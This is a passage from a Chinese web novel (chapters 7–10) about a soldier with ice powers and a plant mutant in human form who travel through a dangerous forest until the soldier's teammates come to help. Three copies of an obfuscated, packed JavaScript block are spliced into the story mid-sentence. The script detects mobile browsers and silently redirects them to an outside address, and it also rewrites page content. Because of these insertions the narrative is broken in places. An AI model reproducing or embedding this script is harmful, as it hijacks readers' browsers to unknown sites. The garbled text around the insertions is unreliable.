这个森林里太多不确定性的危险了,傅清洲不敢掉以轻心。 岁禾原本以为可以休息一下了,结果还要继续往前走一段。他打了一个哈欠,一边跟上傅清洲一边抱怨,“怎么还要走啊?我好累的。” 一个从未出过远门,只爱扎根在泥土里的植物小异种,自从上次和库里尔跑了一趟远门之后就再也没离开过。 但库里尔会照顾他的情绪,傅清洲完全不会! 真的很没有人情味。 岁禾又在心里吐槽着,但又害怕二人走丢了,只能步步紧跟上去。 “粥粥,我好累啊。”又走了一段距离,岁禾再次出声抱怨着,“我们什么时候才能到啊?” 傅清洲听完这句话,顿住了脚步。身后的岁禾没刹住车,直直撞上去,发出一声低呼,抬手揉着撞疼的脑袋。 “你干嘛又突然停下来?”岁禾又忍不住开口。往傅清洲背上撞的那一下实在是太疼了,这个人简直就是石头做的一样。 “你在这里待了很久?”傅清洲问他。 “对啊!”岁禾不理解为什么突然问这个问题,明明一开始就说过了的。 傅清洲回头看他,“那为什么是我带路?” 话一出口,岁禾也跟着愣了一下,随后才缓慢地眨了眨眼,道:“是哦。” 傅清洲:“……” 岁禾又抬手揉了揉额头,撩开碎发之后露出他那一双渐变色的眼瞳,此时正有些迷茫和思考着傅清洲的问题。 和他对视了良久,傅清洲才给他让了一个位置,“请吧,在附近找个山洞先住一晚。” 岁禾刚想走,不确定傅清洲的要求,于是抬起的脚又落回原地,回头看傅清洲,问:“为什么要找山洞?” 傅清洲:“如果你想被雨淋的话,可以不找。” “可是附近没有山洞。” 他说得有些委屈,让傅清洲沉默住了。周围安静下来,能听见深处的野兽在咆哮嘶吼,能听见风吹树叶响起的“沙沙”声。 傅清洲不知道说些什么,抬手摸了摸鼻子,视线往下移,看见了岁禾那泥泞的裤脚。他的作战服穿在岁禾身上很宽大,裤脚挽了好几圈才刚刚好合适,因为光着脚走了许久,脚上沾着很多泥土,连裤脚也没有幸免。 附近没有山洞的话,好像也没必要继续走下去了。 “我可以用藤蔓筑巢。”岁禾又说:“但是要消耗很多能量来维持,我没有那么多的能量。” 沉默了良久,傅清洲非常认真地问他:“那你有什么?” “有你。”岁禾也很认真地回答:“我有你就足够了呀。” 傅清洲有些无奈,抬起手弹了一下他的额头,“走了,还是先找一个避风的地方吧。淋了雨又吹风,容易感冒。” 岁禾跟在他后面乖乖巧巧的,但嘴上却不饶人,“感冒会怎么样?会死吗?” “不会,会难受。” “比受伤了还难受吗?” 这一对比,傅清洲一时之间不知道怎么回答他。其实最主要的还是嫌他话太多了,完全不知道要怎么跟岁禾解释。每当解释完一个问题,他就会紧跟着下一个问题,没完没了的。 “你说话呀。”岁禾见他沉默太久,没忍住去扯他的袖子。 傅清洲叹了一口气,拽着他的手腕找到一块背风坡,从背包里翻出一个打包好的帐篷拆开,“会帮忙吗?” 岁禾学着他蹲在地上,疑惑地看着他手里的东西,最后摇了摇头,“不会,我没见过这个东西。” 傅清洲:“……” 真是捡了个祖宗回家供着。 傅清洲认命地在心里默念了三句“算了,他还有用的。”然后指使岁禾蹲在角落里,自己吭哧吭哧地搭起帐篷了。 按理说,他两个月前是去支援一处村庄救人不应该带着这些的,但莫名的那一天晚上,他的队友忽然喊着他带上了。本来一直没用,没想到现在用上了。 也算是某一种缘分了吧。 岁禾并不是一个能坐得住的人,他很听话地盯着傅清洲搭帐篷,嘴上的话也一直说个不停,虽然傅清洲并没有怎么理他就是了。 最后还是岁禾一个人说累了,蹲了半天后开始站起来在附近观察。他想去找点吃的,赶了一天的路,他几乎没看见傅清洲有吃东西,作为人类的他应该已经饿了。 就这样想着,岁禾闻着森林的味道,在附近又逛起来。 傅清洲一个人正专注于搭帐篷,耳边满是岁禾的碎碎念,帐篷搭了一半发现没声音了,只是抬头看了一眼发现他在附近转悠也没怎么注意了。 等他把帐篷搭好之后,一抬头发现岁禾不见了。 他扔下手里的东西,看了一圈周围,确定岁禾并不在附近,“岁禾!” 周围都是空阔的泥地,连根树都没有,这一块搭帐篷的地方还是竖了一块大石头在。 没有树,但是杂草倒是不少,有矮小的,也有比人还高的。 总之乱糟糟的。 傅清洲在附近杂草里找了一圈,弄得浑身都沾满了花絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775859|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没看见岁禾。 “岁禾!”他并不敢喊太大声,生怕吸引强大的异种过来。 正在他猜想岁禾是自己跑出去玩儿了还是被异种偷偷带走的时候,远处的杂草从里动了动。 傅清洲提高了警惕,手里幻化出冰剑,死死盯着动的那一块地方。 “我在这儿。”岁禾从杂草里探出一个脑袋,嘴里还叼着一个红色的野果,说话含糊不清的,“粥粥,你找我吗?” 看见是他,傅清洲瞬间放下心来。冰剑消失在手心里,大步走上前拽着他的手腕,有些生气,“为什么离开都不说一声?” “你不知道在这种地方根本不好找人吗?知不知道万一走丢了怎么办?” 岁禾还是第一次见他这么生气,嘴里叼着的野果落在地上,还保持着张嘴的姿势,有些呆愣地和他对视。 看着岁禾那一副什么都不懂的样子,傅清洲只感觉一口气堵在胸口不上不下的,让他胸闷难受。 他到底在跟一个异种计较什么? 岁禾什么都不懂。 “对……对不起。”岁禾小心翼翼地开口。 刚刚因为傅清洲的大力拖拽,他护在怀里的野果零零散散地落在地上。他一边道歉一边弯腰捡起来,递过去给傅清洲。 “我就是看你一天没有吃东西,我想去给你找点吃的。”岁禾说得很慢,也很委屈:“刚刚我有跟你说好多话的,你都没有理我。” “我不知道要跟你说,我自己记得路的。”岁禾抬手抹了抹眼睛,看上去真的委屈得要掉眼泪一样,“库里尔从来不这样跟我说话的,他也不会冷落我。” “你是不是不喜欢我?” 库里尔总是跟他说,像他这样单纯的人,如果在外面的话,很容易就被陌生人骗走的。 那天岁禾问库里尔,什么是陌生人? 库里尔说:“刚刚认识的,走在路上遇到的,只见过一次面的,又或者认识很久的,都能算陌生人。” 可岁禾觉得,他救了傅清洲,又把自己最重要的东西给了他,最后还跟他一起战斗杀死了七眼异变虎。 他们还算是陌生人吗? 应该不算吧。 和库里尔穿着一样的衣服,应该都是好人吧。 但是傅清洲的性子和库里尔实在是相差太大了,让岁禾觉得人类真的很难相处。 在他的认知里,人类应该都跟库里尔一样温和才对。 傅清洲看着递过来的野果,上满还沾着一些泥土,他半天都没有伸手去接。再抬头,发现岁禾的眼眶有些红,不知道是刚刚他自己揉的还是觉得傅清洲太凶了被他骂哭的。 心里泛起一阵酸楚,不像是出自于本能的反应。 傅清洲觉得自己怪怪的,他能感觉到岁禾现在特别特别的委屈,而且还因为他的委屈,傅清洲的心脏泛起一阵酸楚。 岁禾见他久久没有接手里的果子,在看清上面的泥土之后,又缩回来在自己身上的衣服擦了一下才重新递过去,“干净的,不脏了。” “你不要不喜欢我,我很听话的。” 傅清洲盯着他看了良久,最后抬起手拿过他手里的果子,发出一阵低低的鼻音,“嗯。” 8. 第 8 章 二人坐在帐篷里面把摘来的野果解决掉之后,离刚刚尴尬的气氛已经过去很久了。岁禾一直没在开口和傅清洲说话,只是安静地啃着果子。 碎碎念太多了,喉咙有些干燥。溢出来的汁水刚好拯救了岁禾不舒服的喉咙。 但他现在不敢和傅清洲说话。 那个人太凶已经成为了岁禾的刻板印象。他现在害怕极了,生怕傅清洲下一秒就反悔不带他离开。 他缩在帐篷口处,双脚还伸在外面踩着湿润的土地。傅清洲盯着他脚尖看了几秒,最后默默移开了视线。 岁禾没有鞋子穿,光着脚走了一路,粘上很多泥土,像个下雨天爱出门玩泥巴的破小孩儿,沾了满身脏兮兮的泥土回家被家长惨骂一顿。 大概也知道自己身上脏兮兮的,岁禾也只敢缩在帐篷门口的角落里,尽量不去蹭到里面。又似乎感觉到傅清洲的视线了,他又往外面缩了一点。 “起来。”傅清洲率先站起来,朝岁禾的方向伸出手。 岁禾抬起眸子和他对视,犹豫了一会儿才伸出手搭在傅清洲的手上,声音低低地问着他,“我们去哪儿?” 外面没在下雨,月亮也刚刚出来悬挂在高空中,照亮了路,把二人的影子拉得好长。周围飞出一些零散的萤火虫,发出低低的光芒飘在半空中。 两个人深一脚浅一脚地走着。 岁禾不知道傅清洲要带他去哪里,但鉴于刚刚傅清洲太凶的语气,他现在也没敢问出声,只是安静地跟在后面。 “怎么不说话了?” 不知道走到了哪里,岁禾看见了一个挺大的坑,坑里蓄满了水,一看就是下雨的积水。他还听见了傅清洲的声音。 不掺杂任何情绪的,冷冷的话语,和他的异能一样冰块似的。 岁禾抿了抿唇,看着走在前面牵着他手腕的傅清洲。 过了很久还是没有听见岁禾的声音。傅清洲心里有点过意不去,刚刚确实是有点太凶了,但他也没想到岁禾会被吓成这个样子。 “我、我不知道说什么。”岁禾的声音带了点怯懦,“我怕说错话,你不带我离开了。” “你刚刚好凶。” 岁禾吸了吸鼻子,他走在傅清洲身后,没办法看清他的面容。但听声音像是要哭出来一样。 傅清洲满脑子只有两个字:娇气。 别的异种都是强悍凶猛的,怎么到了岁禾这里倒是反过来了一样,像是一个被宠坏的小公主。 前提是如果他是女的话。 傅清洲顿住脚步,似乎是叹了一口气。岁禾这次也跟着稳稳停下来,没有像之前那样总是撞上他的背后。 “洗干净。”傅清洲停在水坑面前,把岁禾拽到自己身边,和他说着话,“把自己洗干净,会不会?” 土坑里的水还算是干净的,但岁禾还是没忍住皱起眉头,发出真挚的疑问:“全身都要洗吗?湿湿的有点难受。” “把身上的泥洗干净会吧?”傅清洲又说,视线落在岁禾身上,又往下移,落在他的脚上。 “噢。”岁禾说着,伸出一只腿抬起来放进水坑里晃了晃,脚底上的泥土随着力道消融在水里。 “可是回去不是也会脏吗?” 傅清洲:“……” 被气昏头了,忘记岁禾没有鞋子穿这个事情了。 最后,还是找到了解决方式。 “粥粥。”岁禾有些生无可恋,脑子也有点充血,“可不可以换个体面一点的方式?” 他被傅清洲揽着腰提在身侧,两个人的身高差让岁禾像个布娃娃一样被夹在腋下。 “闭嘴。”傅清洲冷着脸说:“很快就到了,在忍忍。” “我脑袋不舒服。”岁禾闷闷地开口,“我觉得好难受,感觉自己快死了一样,你是不是讨厌我才这样对我,让我难受?” 傅清洲不说话了,就在岁禾以为拯救自己的计划失败的时候。他的腰带骤然缩紧,被傅清洲单手提起来抱在怀里。 忽然从被夹在腋下到转变成公主抱,岁禾瞪着双眼愣了几秒钟之后才扬起一抹笑,“粥粥,你嘴硬心软。” “库里尔跟我说过这个词的意思。我知道的!” “你是不是也不想让我难受呀?你都不出来,我根本听不懂嘛,我与世隔绝这么久了。”岁禾越来越得寸进尺,典型的一个好了伤疤忘了疼的小家伙。 傅清洲面无表情地,“没有。” “真的吗?”岁禾抬起手戳了一下傅清洲的脸颊,“可是你有把我的话放在心里诶。而且我说难受你就给我换姿势了。” 岁禾不知道怎么表达自己要说的话,只是一个劲地说着自己的话,也不管抱着他的人烦不烦。 “不说话没人把你当哑巴。”傅清洲把人扔进帐篷里,随后自己跟着钻进去,道:“先休息一晚上,明天在继续赶路。” “噢。”岁禾揉了揉被摔疼的屁股,有些哀怨地看着傅清洲。 他一度怀疑因为自己猜穿了傅清洲的小心思,所以自己被报复了,结果就是给他摔过来,把他屁股都摔疼了!! 库里尔说得没错,果然人类很多时候都是嘴硬心软的。 这个帐篷不算很大,挤下两个人有点小困难,好在岁禾化形的身体比较小个,整个人缩成了一团,看起来像是窝在傅清洲怀里一样。 岁禾这几天睡了很多觉,恢复实在是太慢了,在路上的时候他又趁着傅清洲不在偷偷吸了人类的血。这才让他能量恢复了不少。这会儿就一点都不困倦。 “粥粥,你为什么不像库里尔那么多话?”他翻了一个身,和傅清洲面对面,在黑夜中睁开那双渐变色的眸子打量着傅清洲的脸。 傅清洲长得比库里尔好看,岁禾形容不出来那种感觉,只觉得除了凶应该没有别的缺点了。 哦,还有点嘴硬心软。 狭隘的帐篷里面挤着两个人,不管谁动一下都能蹭到对方。关键是岁禾身上还没穿衣服,嫌弃衣服被淋湿穿得多不难受,让傅清洲愣是翻了一条毯子出来给他盖上。 那是傅清洲第一次感谢自己队友给塞了一堆没用的东西。 “能不能安分一点?”傅清洲翻了个身,伸出一只手按在他的腰上,隔着毛毯都能感受到岁禾那细瘦的腰线。 傅清洲愣了一下又快速收回手。 “好吧。”岁禾委屈巴巴地开口,“那我不乱动了。” 又安静了许久,岁禾依旧没有睡着。四周静悄悄的,能听见傅清洲缓慢平稳的呼吸声,以及帐篷外面的虫鸣声。 岁禾睁着双眼看着帐篷顶,想动一下又怕吵到身边的傅清洲。于是他只能默默地眨了眨眼,决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775860|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点一点地动。 他动了一下,又动一下。 直到身边的傅清洲坐起来,他才僵住身子等待挨训。等了半天都没等到傅清洲的话,于是跟着一起坐起来,嗫嚅着:“粥粥?” “嗯。”傅清洲应声,找了个姿势坐好。 “你也睡不着吗?”岁禾又跟着凑近他。 傅清洲沉默了一下,然后很认真地问他:“你是有多动症吗?” 岁禾石化了一下,“多动症是什么?” 他似乎听见傅清洲好像叹了一口气,并没有回答他的问题。 “怎么睡不着?”傅清洲不知道岁禾对睡觉到底是是你概念,但想到前两天岁禾吃饱就睡,睡饱就吃的情况,他很担心接下来的赶路。 万一现在岁禾不睡觉,往后也像之前那样子呢?傅清洲是有一些担忧的。 他有点着急回去,就算没办法回去那么快,也得尽快走出这一片森林,找一处有信号的位置给安全基地发个信息也行的。 但问题就是走了这么久依旧还在森林中心,连三分之一都没出去到,实在是太慢了。而且暂时也寻不到更快的办法离开这里了。 傅清洲消失太久了,安全基地没有派人来寻他,估计是害怕他已经凶多吉少了。但他还好好地活着,没有变异,也没过留下多大的伤痕。 他掉下悬崖之前,为了替队友挡下那一击,本来就受伤的他更是硬生生接下了那一击。 换谁都会是凶多吉少。 傅清洲忧虑的事情实在是太多了,搞得他自己也有些心神不宁,躺在帐篷里半天也没有睡着。 他担心的事情太多了,安全基地怎么样了,他的队友怎么样了,以及自己虽然捡回来一条命,但带着一个极其危险的东西在身边,能不能离开这一座森林。 “粥粥。”岁禾的脑袋靠在傅清洲的肩膀上,声音有些疑惑,“你是不是不开心?你的情绪有一点失落。” “你是在担心什么吗?” 傅清洲被拉回了思绪,听着岁禾的话直接疑惑地问出声,“你会读心吗?怎么什么都能猜到?” “不会。”岁禾说:“但是我闻得到,你身上的味道和之前的不一样。” 岁禾蜷缩着,抱着自己的膝盖,一只手在黑暗中覆上了自己的心口处。 因为傅清洲身上有属于自己的东西,所以岁禾能很轻易地猜出来他的情绪,而且还有别的能力。 “你在担心我们出不去吗?”岁禾能想到的似乎也只有这个了,“库里尔这么强大都没办法带我离开。” “其实我也在害怕。”岁禾又说:“我不想又一个人因为我而死去,我不想看见这样的事情发生了。” “粥粥,你答应我,一定要先保护好自己。” 岁禾自己不怕死,但不愿意看到别人因他而死。因为遇到看第一个人类库里尔,从库里尔身上学习了许多善良的知识。 所以在遇到傅清洲的时候,他是毫不犹豫地决定救下这个不知道从何出现的人类。 “我不想被人因我而死了。”岁禾的声音有些悲凉,那种淡淡的忧伤莫名其妙传到了傅清洲的心脏处。 安静地夜晚里只有岁禾一个人的碎碎念,身边的傅清洲心脏里莫名感受到身边人的低情绪,只是抬起手轻轻拍了拍他的脑袋以示安慰。 9. 第 9 章 夜晚太过漫长了,不知道二人聊到什么时候才开始有困意,岁禾靠在傅清洲的肩膀睡了过去。 一晚上都在碎碎念,傅清洲只是挑了几句能回答得上的问题回他,大部分还是沉默寡言的,在思考之前的一些事情。 有了岁禾的那些话安慰,也说不上是安慰,但傅清洲就莫名觉得心里有了一个底,起码没有在摇摆不定了。 但是他猜得倒是没有错,该睡觉的时候岁禾不舍得睡觉,现在一到赶路时间了他就呼呼大睡的,完全不考虑各种各样的情况。 所以傅清洲很头疼。 所幸傅清洲没有那么多的人情味,现在天亮得晚,稍微眯了一会儿之后就天亮了。他没有给岁禾赖床的机会,直接把他喊起来。 “你干嘛呀?”岁禾根本没睡够,硬生生被傅清洲拽起来站稳。他抬手揉着眼睛,噘着嘴很不满地看向傅清洲。 “你这是剥夺别人睡觉的权利!” 傅清洲半蹲着收拾东西,一边回他,“我就是这样没有人情味,你自己说的,所以我就剥夺你睡觉的权利,你打得过我吗?” “打得过!”岁禾哼声,“我才不跟你计较呢。” 打不打得过不知道,傅清洲没见过岁禾的真实实力,但是见过他打架打一半就晕过去的实力。按理说他开始给傅清洲的那一下,藤蔓的速度极快,并不像是一个弱者才对。 傅清洲也没有继续深究,只是继续低头收拾东西。 现在最主要的目的是赶路,其他的并不是很重要了,岁禾对他没有敌意,愿意跟着他回安全基地,傅清洲就觉得足够了。 回安全基地,送他进研究院。 末日的关键大概就是岁禾了。 “走吧。”把帐篷之类的东西打包好全部扔进背包之后,傅清洲才拍了拍身上的泥土。 今天并没有下雨,也没出太阳,算是一个阴天。 岁禾和昨天一样,扯着傅清洲的衣袖不紧不慢地跟在他身后。 不知道这一次又要赶多久的路,好在岁禾没有昨天那么困倦了,吸了傅清洲的血之后,他能量恢复了不少。 虽然他并不知道为什么傅清洲的血能让自己恢复能量就是了。 “粥粥,能不能休息一下?”岁禾一边打着哈欠一边问着。他实在是太累了,赶路一天就没停过。 傅清洲看着他无精打采的样子,最后还是在一条小溪面前停下。走了大半天,二人已经离开那一处空阔的地方,这里像是热带雨林一样,全是树和各种不知名的灌木丛。 岁禾见他停下来,一屁股坐在一块大石头上。不下雨的天气格外的闷热,尤其是在这一片热带雨林里,更加让人难受。 “半个小时后继续赶路。”傅清洲蹲在溪流边,看着清澈的水流,从背包里摸出一个水壶装了一壶水后收起来,又用手捧起溪水放入水中。 看着他的动作好奇,岁禾也挪到他身边学着他的样子,奈何动作太过生涩了,他捧了一捧水,一大部分都漏出来,沾湿了胸口的衣服。 傅清洲在旁边看着他的动作,没忍住偏过头笑了一下。低低的笑声传入岁禾耳中,让他格外的不乐意,也非常不开心,“你不许笑!” “教你。”傅清洲敛了笑意,伸出两只手摊平合在一起,“这样子摆,不要留缝隙。” 岁禾照着做,然后又蹲到溪流边捧起一捧水,果然漏水的速度变慢了很多。他有些惊喜地扭头看着傅清洲,脸上扬起笑意,“你看!真的很神奇。” 旅途中多了一个人,起码也不是那么无聊吧。 傅清洲看着他的笑脸,看着他捧起水又松手,又接着去捧起水,反反复复的动作。只是很简单的一个小动作都能让他玩很久。 等玩够了之后,岁禾才捧起一捧新鲜的水放进嘴里。林间的溪流带着一股清澈的甜,细细品味才能品味出来的味道。 解了渴,岁禾也不觉得饿,依旧继续刚刚的动作在那里玩耍。傅清洲的视线在他身上,看着看着双眼眯起来。 “粥粥。”岁禾抬起头望向他,但貌似看见了什么,双眼睁大。 还没等岁禾反应过来,傅清洲手里就幻化出一把冰剑,手腕一转,直直劈开侧面朝他飞速而来的枝叶。 枝叶落在地上。 傅清洲反应很迅速,连忙扯了一把岁禾的手腕,两个人滚进草丛里,站起来。刚刚他们所在的地方,一根藤条赫然落下,发出很重的一声“啪”。 “保护好自己。”傅清洲刚说完,往前一步站直身体,手里握着冰剑直视着远处阴暗的地方。 藤条是从那边冒出来的。 岁禾还没从这个惊吓中反应过来,在地上躺了好几秒才爬起来。 是他最近和傅清洲在一起太过放松了吗?连危险靠近都没有察觉到,甚至连反应速度都跟不上了。 远处阴暗的地方又伸出一根藤条,上面布满了刺和锋利的树叶。藤条直直朝傅清洲冲来。 岁禾手里多了一根藤鞭,往前走了一步甩动自己的藤鞭,和远处那条又快又布满刺的藤条撞在一起,掀起一阵清风,吹开了傅清洲的额前的发丝,露出一双漆黑的眸子。 “粥粥,最深处,翠绿色,大概比你高一点的树。”岁禾站定在他身边,手里的藤鞭和远处的藤条挥舞在一起,“能找到吗?” “我掩护你。”岁禾又说。 “植物异变,杀不死。” 岁禾的藤鞭又挥出去,就听见了傅清洲这一句话。他顿了一下,被对方成功偷袭了,异种的藤条拍掉他手上的藤鞭,直直在他手臂上抽了一下。 火辣辣的疼痛感袭来,让岁禾瞬间回神,重新跳回傅清洲身边。他掀开衣袖开着已经溢出血的伤口,咧着一张嘴吸气。 “那怎么办?” “你跑。”傅清洲垂下眸子看了一眼他的伤口,“下次别逞能了,植物异变种打不过我的。” 岁禾一本正经地说:“植物死不掉的。” 遇到这些事情的时候,岁禾倒是没之前那么迷糊了,眼神看起来比傅清洲还要充满杀意。 明明是自己的同类,却毫不犹豫地反目成仇。傅清洲有点看不透他了。 “我是剑,它也没办法奈何得了我。”傅清洲握紧了手里的冰剑,看着朝他们飞过来的藤条,推了一把岁禾,继续说着:“它有多少我就砍它多少,但它奈何不了我。” “它的能量耗不尽,那你的呢?”岁禾被推得后退好几步才站稳,问出了很严肃的问题。 这也是傅清洲从没有考虑到的。他从来没有和植物异变种打斗过,队伍里有人是火元素异能,出任务的时候,植物异变种大部分都是交给那位队员。 但他忘了现在没有队员在身边,他只有孤身一个人,带着一个化成人形的植物异变种。他的状况看起来似乎很危险。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775861|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果岁禾和眼前的植物异变种合伙起来杀掉他的话,那傅清洲完全是打不过的。 和岁禾说的一样,他的能量会耗尽,但异种不会。 但现在根本没有时间给他继续思考,植物异变种眼看一根藤条没有办法牵制住他们,又从深处伸出来两三根藤条。 “粥粥,似乎不那么好跑呢。”岁禾一边跳跃着躲避藤条,一边有些兴奋地说着。 傅清洲应了一声,依旧站在原地。朝他飞来的两根藤条刚到他眼前,只见他手里的冰剑抬起来,一阵利落地光芒闪出来,藤条落在他的脚边。 相比于这里,但岁禾这边就没那么容易了。他是植物系变异成人形的,对方也是植物异变种。两个人打斗起来有点困难。 但对方似乎并没有要伤害他的意思。只是一直跟他纠缠着,岁禾跟着藤蔓躲了好几次,几乎差点被绕进藤条的陷阱里。 傅清洲这边对着飞过来的藤条一直连续砍断,似乎也看出来异变种的目的了。这是想把岁禾绕进圈套里,直接带走。 岁禾说得没错,好像所有异变种都在阻止岁禾离开这里,至于原因是什么就不清楚了。 “躲我身后。”傅清洲厉声道,跑过去劈开缠绕着岁禾的藤条,“它想带你走,你躲我后面。” “当然如果你想跟它一起走的话,我也不会拦着你。” 岁禾没说话,只是默默地退到后面去。他的手在刚刚被藤条抽了一下,当场溢出血,又因为捏着藤蔓和异变种纠缠,现在手上疼得不行。 火辣辣的泛着疼。 这是岁禾不曾体会过的。 岁禾自己也看出来了,异变种并不想伤害它的,只是想把他绕进藤条的陷阱里,趁机把他带走。现在他躲在后面看着傅清洲和藤条纠缠,那几根藤条像是发了狠一样,上面冒出尖刺。 不仅如此,连藤条上面的枝叶都变得锋利无比,看上去只要被触碰到就必死无疑了。傅清洲不敢掉以轻心,一边躲开藤条,还要注意岁禾的位置。 如果藤条少的话他还能应付过来,但没了岁禾的帮忙,藤条变得多起来,手里的冰剑也变得有些乏力了。 于是他又幻化出一把双刃剑,多了一把武器之后更轻松了一些。藤条实在是太能纠缠了,源源不尽一样,被砍断了又迅速生长出来,快要把傅清洲的体力消耗掉了。 岁禾手上的伤口太疼了,他想上去帮忙,但手里握上藤鞭的时候,受伤的手止不住地颤抖。他咬了咬牙,趁傅清洲专注打斗没注意到这边的时候,手指幻化出细嫩的嫩芽。 他伸出另一只手掰断,乳白色的汁水疯狂溢出来,岁禾粘上涂在自己的伤口处,冰冰凉凉一片,让疼痛缓解了不少。 深处飞来无数片树叶,每一片都闪出锋利的光芒,傅清洲正在和藤条纠缠,根本没有时间分心。岁禾一抬头就看见了,连忙竖起藤蔓抵挡住。 但他低估了这些叶片的威力,竖起的藤蔓墙太过脆弱了,直接被锋利的叶片切碎。 “粥粥!”岁禾愣了一下,大喊出声。 傅清洲一抬头,看见朝自己飞来的叶片,有那一瞬间忘记了呼吸。 他缓慢地眨了眨眼,再次睁开眼的时候,那些锋利的叶片在空中瞬间化为灰烬落在地上,就连缠着傅清洲的那几根藤蔓也被烧毁,然后迅速缩回深处去。 傅清洲回头看去,在远处的山坡上看见了熟悉的身影。 10. 第 10 章 “队长,真是好狼狈啊。” 远处传来的声音和傅清洲不可置信的视线,让岁禾跟着一起回了头,便看见远处山坡上的青年。 他穿着和傅清洲一模一样的作战服,手心里还冒着一团火。在看见他们之后眉头挑了一下。 于是岁禾看见了一直绷着脸不怎么爱笑的傅清洲在那一刻露出一抹笑,很自然、放松的、绝对信任的笑容。 岁禾盯着傅清洲看了一会儿,又扭头去看远处的人。 不得不说这个支援来得很及时,连岁禾都没办法抵挡的叶片在那一瞬间化成灰烬,随风飘散在空气中。 “队长,这可不是叙旧的好时机。”身边又窜出一个年轻人,手里握着一把弓,腰上还挂着一个箭袋,里面装着几支箭。 傅清洲又是无奈一笑,握紧了手里的武器。他上一秒还在想着自己的队友下一秒就真的出现了,仿佛是在做梦一样。 令人难以置信。 忽然,一根悄无声息的枝条从那位手拿弓的青年身后袭来。岁禾看着自己的伤口,默默放下了袖子,手里唤出藤鞭往远处一甩。 阻止了那根枝条的袭击。 青年人还没回过神来,愣在原地。两根枝条相撞掀起的风吹打在青年的脸上,露出茫然的神色。 等他回过神的时候,岁禾已经重新站在傅清洲身边了,他吹了一个口哨,笑着:“喂,小兄弟,你还挺强的啊,不会是队长新收的队员吧?” 算吗? 岁禾不清楚,也不清楚队长队员是什么意思。但他现在算是待在傅清洲身边,应该也算是傅清洲的人吧? “集中注意力。”另一位青年人也走到他们身边,四个人站成一排,注视着远方黑暗里的挥舞的枝条。 傅清洲呼出一口气,“跑不掉了,梵溯,你保护他。” “梵烬,我掩护你。” 话音未落,傅清洲和梵烬的速度极快,几乎是窜出去的。岁禾张了张嘴,还没问出口的话只能咽下去,手里捏紧了那根藤鞭。 梵溯从腰间摸出一支箭,架起弓朝着对准深处,嘴上还在开口:“小兄弟,你可要好好待在我身边啊,队长让我看着你点。” “你说你看起来这么强,为什么非要我一个手无缚鸡之力的人保护你呢?队长是不是太看得起我了?” “所以你保护我呗。” 梵溯拉起弓,忽然松了手,那只箭窜出去,擦过梵烬的肩膀向深处飞过去,不知道扎到了什么东西,发出一阵异响。 “如何?”梵溯收起弓,扭头朝岁禾挑了一下眉。 岁禾正在沉浸在傅清洲没有给他分配任务的小情绪里,看见梵溯这样子说,又觉得他好像有点像是在挑衅自己。 异种的察觉方式与人类的有所不同。 他少年模样的脸庞瞬间冷了下来,双眼微微眯起。 梵溯觉得周身的气温都降低了不少,看着面前脸色不太好的岁禾,只觉得疑惑。 明明他也没惹岁禾吧? “你还是管好自己吧。”岁禾冷哼一声,甩起自己的藤鞭打开袭来的藤条。 “喔,谢谢啊。”梵溯又扬起一抹笑,在四周挑选一棵合适的地方,打算过去躲一躲。 梵溯的异能是超强视力,以及觉醒的时候突然出现的弓箭。作为傅清洲小队的队员,他的能力并不低,连肉身强化训练也是一流,只是在和这些植物异变种的时候没有办法肉搏。 岁禾站在原地歪了歪脑袋,似乎没有反应过来。但等枝条朝他袭来的时候,他又能很快反应过来,跳出一段距离。 “哇哇,小兄弟,你这反应速度可以啊。”梵溯在旁边看着,连忙给他竖起一个大拇指,“棒棒的,我的人身安全就交给你了啊。” 岁禾躲开枝条之后,又听完他的话,呆呆地站在原地,不可置信地望着他,“粥粥让你保护我,我才不要保护你呢。” “啊?那太可惜了,我一个手无缚鸡之力,没有自保能力的人。”梵溯一边说着,一边拿出一支箭。 箭在手上转了两圈,落在弓上。梵溯拉紧弓在松手,“咻”的一声,袭过来的藤条被箭穿过,钉在远处的树上。 “求求你啦。”梵溯收好东西,眨巴着眼看向岁禾,“保护保护我呗。” 岁禾看着他欲言又止,视线又落在远处那棵树上,想说的话很明显,但梵溯就是如此的不要脸。 “溯!”远处传来一道声音。 “来啦。”梵溯收起刚刚那副笑嘻嘻的模样,又从自己腰间摸出一支箭架在弓上,“哥!右边,躲一下。” 箭射出去,在空中的时候忽然燃起一把火,直直朝着黑暗中飞去,照亮了那一片地方,也照出了傅清洲与那位青年的脸。 岁禾能看清里面的情况,但是他扭头震惊地看向梵溯,道:“你看得见里面的位置?” “啊?”梵溯指了指自己的眼睛,“我视力很强啦。” 两个近战的人在里面拼死拼活的和异变种交战,外面这两个蹲在一起开始聊了起来。 